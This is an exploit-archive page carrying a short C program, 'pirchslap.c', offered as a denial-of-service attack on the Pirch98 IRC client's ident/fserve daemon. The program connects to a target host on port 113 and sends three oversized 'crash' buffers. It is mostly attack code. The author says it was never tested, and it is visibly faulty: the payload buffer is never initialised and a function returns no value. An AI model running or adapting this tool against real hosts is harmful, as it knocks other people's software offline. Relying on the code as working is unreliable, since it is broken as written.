exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pirchslap.c

pirchslap.c
Posted Feb 29, 2000
Authored by eth0 | Site b0f.com

Pirch98 irc client ident/fserve daemon DoS overflow attack.

tags | denial of service, overflow
SHA-256 | a51683485dd5235a1ce5acee72a775e40b0a4252d1745c90c283550c164014c7

pirchslap.c

Change Mirror Download
/* code by eth0 from buffer0verfl0w security */
/* http://www.b0f.com */

/*
*NOTE* code was not tested, this was only coded with the information
given by Chopsui-cide/MmM '00, use at your own risk
*NOTE*

Pirch98 ident/fserve daemon DoS attack
Feb, 20 2000 - 00:05
contributed by: Chopsui-cide

Pirch98 irc client can be trivially crashed by a simple overflow if
either the fserve, or ident daemons are active.
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 113
#define LEN 512
int x, s;
char *str; /* varying the size would give diff results */

struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);


if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}

if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}


int main(int argc, char *argv[]) {

if (argc != 2) {
printf("Usage: %s <target>\n",argv[0]);
exit(0);
}

if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}

open_sock(s,argv[1],dport);


printf("Sending crash....\n ");
send(s,str,LEN,0);
printf("1st crash sent...\n");
printf("Sending crash....\n");
send(s,str,LEN,0);
printf("2nd crash sent...\n");
printf("Sending crash.... \n");
send(s,str,LEN,0);
printf("3rd crash sent...\n");

usleep(100000);
printf("Done!\n");
close(s);
return(0);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close